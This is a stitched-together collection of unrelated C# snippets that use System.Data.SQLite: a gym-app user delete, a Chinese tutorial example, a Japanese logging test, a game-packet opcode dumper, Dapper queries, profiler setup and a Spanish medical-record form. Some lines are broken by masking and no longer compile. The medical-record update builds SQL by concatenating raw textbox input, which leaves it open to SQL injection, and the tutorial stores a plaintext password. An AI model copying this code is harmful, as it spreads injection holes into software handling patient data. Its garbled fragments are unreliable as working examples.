lstScenarioArray = dataMgr.getStringList(oConn,
"SELECT scenario_id " +
"FROM scenario " +
"WHERE scenario_id IS NOT NULL AND " +
"LENGTH(TRIM(scenario_id)) > 0");
}
return(lstScenarioArray.ToArray());
}
private void btn_elimina_Click(object sender, EventArgs e)
{
if (!tb_NomeDel.Text.Equals("") && !tb_pswDel.Equals(""))
{
using (System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection("data source=gestionalePalestra.db"))
{
using (System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand(conn))
{
conn.Open();
string command = "DELETE FROM User WHERE Username='******'";
cmd.CommandText = command;
cmd.ExecuteNonQuery();
//MessageBox.Show(command);
MessageBox.Show("Elemento eliminato con successo!", "Eliminazione avvenuta");
conn.Close();
}
}
LoadComboBox();
lockGroupBox();
}
else
{
PrintError(1);
}
}
public List<String> getLastProjects()
{
List<String> list = new List<String>();
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=databaseFile.db3"))
{
using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
{
con.Open();
com.CommandText = "Select * FROM LASTPROJECTS";
using (System.Data.SQLite.SQLiteDataReader reader = com.ExecuteReader())
{
while (reader.Read())
{
Console.WriteLine(reader["address"]);
list.Add(reader["address"].ToString());
}
}
con.Close();
}
}
return list;
}
public List <AccountVerticalData> GetAccountQuarterWiseData(string Month, string Year, string AccountName)
{
List <Account> accountList = new List <Account>();
Account account;
try
{
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection(Class1.databasestring))
{
using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
{
con.Open(); // Open the connection to the database
com.CommandText = "Select AccountID,AccountName,AccountDescription FROM Accounts"; // Select all rows from our database table
using (System.Data.SQLite.SQLiteDataReader reader = com.ExecuteReader())
{
while (reader.Read())
{
account = new Account();
account.AccountID = Convert.ToInt32(reader["AccountID"]);
account.AccountName = Convert.ToString(reader["AccountName"]);
account.AccountDescription = Convert.ToString(reader["AccountDescription"]);
accountList.Add(account);
}
}
con.Close(); // Close the connection to the database
}
}
return(accountList);
}
catch (Exception ex)
{
return(null);
}
}
static void Main1(string[] args)
{
string datasource = "test.db";
System.Data.SQLite.SQLiteConnection.CreateFile(datasource);
//连接数据库
System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection();
System.Data.SQLite.SQLiteConnectionStringBuilder connstr =
new System.Data.SQLite.SQLiteConnectionStringBuilder();
connstr.DataSource = datasource;
connstr.Password = "******";//设置密码，SQLite ADO.NET实现了数据库密码保护
Console.WriteLine(connstr.ToString());
conn.ConnectionString = connstr.ToString();
conn.Open();
//创建表
System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand();
string sql = "CREATE TABLE test(username varchar(20),password varchar(20))";
cmd.CommandText = sql;
cmd.Connection = conn;
cmd.ExecuteNonQuery();
//插入数据
sql = "INSERT INTO test VALUES('dotnetthink','mypassword')";
cmd.CommandText = sql;
cmd.ExecuteNonQuery();
//取出数据
sql = "SELECT * FROM test";
cmd.CommandText = sql;
System.Data.SQLite.SQLiteDataReader reader = cmd.ExecuteReader();
StringBuilder sb = new StringBuilder();
while (reader.Read())
{
sb.Append("username:"******"\n").Append("password:").Append(reader.GetString(1));
}
Console.WriteLine(sb.ToString());
}
public void Command()
{
using (var conn = new System.Data.SQLite.SQLiteConnection("Data Source=:memory:"))
{
conn.Open();
using (var command = new LoggingCommand(new System.Data.SQLite.SQLiteCommand()))
{
command.CommandText = "select 1";
Assert.Throws<InvalidOperationException>(() => command.ExecuteReader());
Assert.Equal(LogLevel.Error, logger.Last.Level);
Assert.Equal(@"クエリ実行に失敗
--- SQLiteCommand ---
CommandTimeout = 30
CommandType = Text
UpdatedRowSource = None
--- CommandText ---
select 1
--- Parameters ---
", logger.Last.Message);
command.Connection = conn;
using (var reader = command.ExecuteReader())
{
Assert.Equal(LogLevel.Trace, logger.Last.Level);
Assert.Matches(@"ExecuteReader. 実行時間:\d\d:\d\d:\d\d\.\d+
--- CommandText ---
select 1
--- Parameters ---
", logger.Last.Message);
Assert.True(reader.Read());
Assert.Equal((long)1, reader[0]);
}
Assert.Equal((long)1, command.ExecuteScalar());
Assert.Matches(@"ExecuteScalar. result=1 実行時間:\d\d:\d\d:\d\d\.\d+
--- CommandText ---
select 1
--- Parameters ---
", logger.Last.Message);
command.CommandText = "select @p";
command.Parameters.Add(new System.Data.SQLite.SQLiteParameter("p", "abc"));
Assert.Equal("abc", command.ExecuteScalar());
Assert.Matches(@"ExecuteScalar. result=abc 実行時間:\d\d:\d\d:\d\d\.\d+
--- CommandText ---
select @p
--- Parameters ---
p\(String\)=abc
", logger.Last.Message);
Assert.IsType<System.Data.SQLite.SQLiteParameter>(command.CreateParameter());
}
Assert.Equal("コマンドが破棄(Dispose)されました。", logger.Last.Message);
}
}
public static void ContribSelectData(UserId id)
{
using (var connection = new System.Data.SQLite.SQLiteConnection(cnStr))
{
connection.Open();
var data = connection.Get<Poco.Users>(id);
System.Diagnostics.Debug.Assert(id.Equals(data.Id));
}
}
public static void DumpOpcodes()
{
var files = System.IO.Directory.GetFiles(@"E:\HFS\WOWDEV\SNIFFS_CLEAN\", "*.sqlite", System.IO.SearchOption.AllDirectories).OrderBy(t => t);
var versionOpcodeList = new System.Collections.Generic.SortedList<uint, ClientBuildCache>();
foreach (var file in files)
{
uint clientBuild = 0;
using (var con = new System.Data.SQLite.SQLiteConnection("Data Source=" + file))
{
con.Open();
using (var sqlcommand = con.CreateCommand())
{
sqlcommand.CommandText = "select key, value from header where key = 'clientBuild'";
var reader = sqlcommand.ExecuteReader();
while (reader.Read())
{
clientBuild = (uint)reader.GetInt32(1);
break;
}
}
if (!versionOpcodeList.ContainsKey(clientBuild))
{
versionOpcodeList.Add(clientBuild, new ClientBuildCache() { ClientBuild = clientBuild, OpcodeList = new List<OpcodeCache>() });
}
var clientBuildOpcodes = versionOpcodeList[clientBuild];
using (var sqlcommand = con.CreateCommand())
{
sqlcommand.CommandText = "select distinct opcode, direction from packets order by opcode , direction";
var reader = sqlcommand.ExecuteReader();
while (reader.Read())
{
var opcode = (uint)reader.GetInt32(0);
var direction = (byte)reader.GetInt32(1);
if (!clientBuildOpcodes.OpcodeList.Exists(t => t.Opcode == opcode && t.Direction == direction))
clientBuildOpcodes.OpcodeList.Add(new OpcodeCache() { Direction = direction, Opcode = opcode });
}
}
con.Close();
}
}
var clientBuildOpcodeList = versionOpcodeList.Select(t => t.Value).ToList();
clientBuildOpcodeList.SaveObject("clientBuildOpcodeList.xml");
}
public static void SelectData(UserId id)
{
using (var connection = new System.Data.SQLite.SQLiteConnection(cnStr))
{
connection.Open();
var data = connection.Query<Poco.Users>("SELECT * FROM Users WHERE Id = @Id",
new { Id = id }).FirstOrDefault();
System.Diagnostics.Debug.Assert(id.Equals(data.Id));
}
}
private Connection()
{
if (!System.IO.File.Exists(DB_FILE))
{
System.Data.SQLite.SQLiteConnection.CreateFile(DB_FILE);
}
sqliteConnection = new System.Data.SQLite.SQLiteConnection($"Data Source={DB_FILE};Version=3;Password={PASSWORD};");
sqliteConnection.Open();
var sql = "CREATE TABLE torrents (tag VARCHAR(20), url VARCHAR(255), name VARCHAR(255), added DATETIME)";
var command = new System.Data.SQLite.SQLiteCommand(sql, sqliteConnection);
command.ExecuteNonQuery();
}
public void AddNewClass(ClassModel clazz)
{
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = "INSERT INTO Classes (ClassId, ClassName) VALUES(@Id, @Name)";
cmd.Parameters.AddWithValue("@Id", clazz.Id);
cmd.Parameters.AddWithValue("@Name", clazz.Name);
cmd.ExecuteNonQuery();
}
}
}
public DataBase()
{
string dbPath = @"Database.db";
if (!System.IO.File.Exists(dbPath))
System.IO.File.Copy("Database_New.db", dbPath, false);
sqlConnection = new System.Data.SQLite.SQLiteConnection( "Data Source=" + dbPath);
sqlCommand = new System.Data.SQLite.SQLiteCommand(sqlConnection);
sqlConnection.Open();
VersionUpdate();
}
public override void EnsureSharedConnectionConfigured()
{
if (Connection != null) return;
lock (_syncRoot)
{
#if DNXCORE50
Connection = new Microsoft.Data.Sqlite.SqliteConnection(ConnectionString);
#else
Connection = new System.Data.SQLite.SQLiteConnection(ConnectionString);
#endif
Connection.Open();
}
}
private static UserId InsertData()
{
var id = new UserId("Abc12c");
using (var connection = new System.Data.SQLite.SQLiteConnection(cnStr))
{
connection.Open();
connection.Execute("INSERT INTO Users (Id, Age, Name) VALUES (@Id, @Age, @Name)",
new {
Age = 31,
Id = id,
Name = "Peter Gill"
});
}
return id;
}
private static UserId ContribInsertData()
{
var id = new UserId("Abc12c");
using (var connection = new System.Data.SQLite.SQLiteConnection(cnStr))
{
connection.Open();
connection.Insert(new Poco.Users()
{
Age = 31,
Id = id,
Name = "Peter Gill"
});
}
return id;
}
private static IDbConnection GetDatabaseConnectionSDS(string cs)
{
var rv = new System.Data.SQLite.SQLiteConnection(cs);
if (rv == null) {
throw new ArgumentException("no connection");
}
rv.Open();
if (clearPool == null) {
clearPool = conn =>
{
System.Data.SQLite.SQLiteConnection.ClearPool(
conn as System.Data.SQLite.SQLiteConnection);
};
}
return rv;
}
public SQLiteConnection GetOpenConnection()
{
if (conn != null)
{
conn.Open();
return conn;
}
// Create our connection
bool exists = File.Exists(dbFileName);
if (!exists) SQLiteConnection.CreateFile(dbFileName);
conn = new SQLiteConnection("DbLinqProvider=SQLite;Data Source=" + dbFileName + ";Foreign Keys=true;");
conn.Open();
return conn;
}
private void button1_Click_1(object sender, EventArgs e)
{
bool edadp = textBox2.Text.All(Char.IsNumber);
float pesov;
bool pesop = float.TryParse(textBox6.Text, out pesov);
if (textBox1.Text != "" && textBox2.Text != "" && textBox3.Text != "" && textBox4.Text != "" && textBox5.Text != "" && textBox6.Text != "" && textBox7.Text != "" && textBox8.Text != "" && textBox9.Text != "" && textBox10.Text != "" && textBox11.Text != "" && textBox12.Text != "" && textBox13.Text != "" && textBox14.Text != "" && textBox15.Text != "" && textBox16.Text != "" && textBox17.Text != "" && textBox18.Text != "" && textBox19.Text != "" && textBox20.Text != "" && textBox21.Text != "" && textBox22.Text != "")
{
if (edadp == true)
{
if (pesop == true)
{
string appPath = Path.GetDirectoryName(Application.ExecutablePath);
System.Data.SQLite.SQLiteConnection sqlConnection1 =
new System.Data.SQLite.SQLiteConnection(@"Data Source=" + appPath + @"\EXCL.s3db ;Version=3;");
System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand();
cmd.CommandType = System.Data.CommandType.Text;
//comando sql para insercion
cmd.CommandText = "UPDATE Expediente Set Nombre = '" + textBox1.Text + "' , Sexo = '" + comboBox1.Text + "', Edad = '" + textBox2.Text + "', Ocupacion = '" + textBox4.Text + "', Estadocivil = '" + comboBox2.Text + "', Religion = '" + textBox3.Text + "', TA = '" + textBox5.Text + "', Peso = '" + textBox6.Text + "', Tema = '" + textBox7.Text + "',FC = '" + textBox8.Text + "', FR = '" + textBox9.Text + "', EnfermedadesFamiliares = '" + textBox10.Text + "', AreaAfectada = '" + comboBox3.Text + "', Antecedentes = '" + textBox11.Text + "', Habitos = '"+textBox13.Text+"', GPAC = '"+comboBox4.Text+"', FUMFUP = '"+comboBox5.Text+"', Motivo = '"+textBox14.Text+"', CuadroClinico = '"+textBox15.Text+"', ID = '"+textBox16.Text+"', EstudiosSolicitados = '"+textBox17.Text+"', TX = '"+textBox18.Text+"', PX = '"+textBox19.Text+"', Doctor = '"+textBox20.Text+"', CP = '"+textBox21.Text+"', SSA = '"+textBox22.Text+"' Where Folio =" + foliom + "";
cmd.Connection = sqlConnection1;
sqlConnection1.Open();
cmd.ExecuteNonQuery();
sqlConnection1.Close();
this.Close();
}
else
{
MessageBox.Show("Solo introduzca numeros en el peso", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
else
{
MessageBox.Show("Solo introduzca numeros en la edad", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
else
{
MessageBox.Show("Ha dejado campos en blanco", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
//uzytkownicy
public void AddNewStudent(StudentModel user)
{
var student = user as StudentModel;
using (var connection = new System.Data.SQLite.SQLiteConnection(this.connString))
{
connection.Open();
using (var cmd = connection.CreateCommand())
{
cmd.CommandText = @"INSERT INTO Students (Name, Surname, Gender, ClassId)
VALUES (@name, @surname, @gender, @classId)";
cmd.Parameters.AddWithValue("@name", user.Name);
cmd.Parameters.AddWithValue("@surname", user.Surname);
int gen = (user.Gender)? 1 : 0;
cmd.Parameters.AddWithValue("@gender", gen);
cmd.Parameters.AddWithValue("@classId", student != null ? (object)student.Class.Id : DBNull.Value);
cmd.ExecuteNonQuery();
}
}
}
/// <summary>
/// Used for testing purposes - destroys and recreates the SQLITE file with needed tables.
/// </summary>
/// <param name="extraTablesToCreate">The Extra Tables To Create.</param>
public void RecreateDatabase(params string[] extraTablesToCreate)
{
var path = ConnectionString.Replace("Data Source = ", string.Empty); // hacky
if (File.Exists(path))
{
File.Delete(path);
}
using (var cnn = new System.Data.SQLite.SQLiteConnection(MvcApplication.ConnectionString))
{
cnn.Open();
// we need some tiny mods to allow sqlite support
foreach (var sql in TableCreationScripts.Union(extraTablesToCreate))
{
cnn.Execute(sql);
}
}
}
protected void Application_Start(object sender, EventArgs e)
{
InitProfilerSettings();
var dbFile = HttpContext.Current.Server.MapPath("~/App_Data/TestMiniProfiler.sqlite");
if (System.IO.File.Exists(dbFile))
{
File.Delete(dbFile);
}
using (var cnn = new System.Data.SQLite.SQLiteConnection(WcfCommon.ConnectionString))
{
cnn.Open();
cnn.Execute("create table RouteHits(RouteName,HitCount)");
// we need some tiny mods to allow sqlite support
foreach (var sql in SqliteMiniProfilerStorage.TableCreationSQL)
{
cnn.Execute(sql);
}
}
}
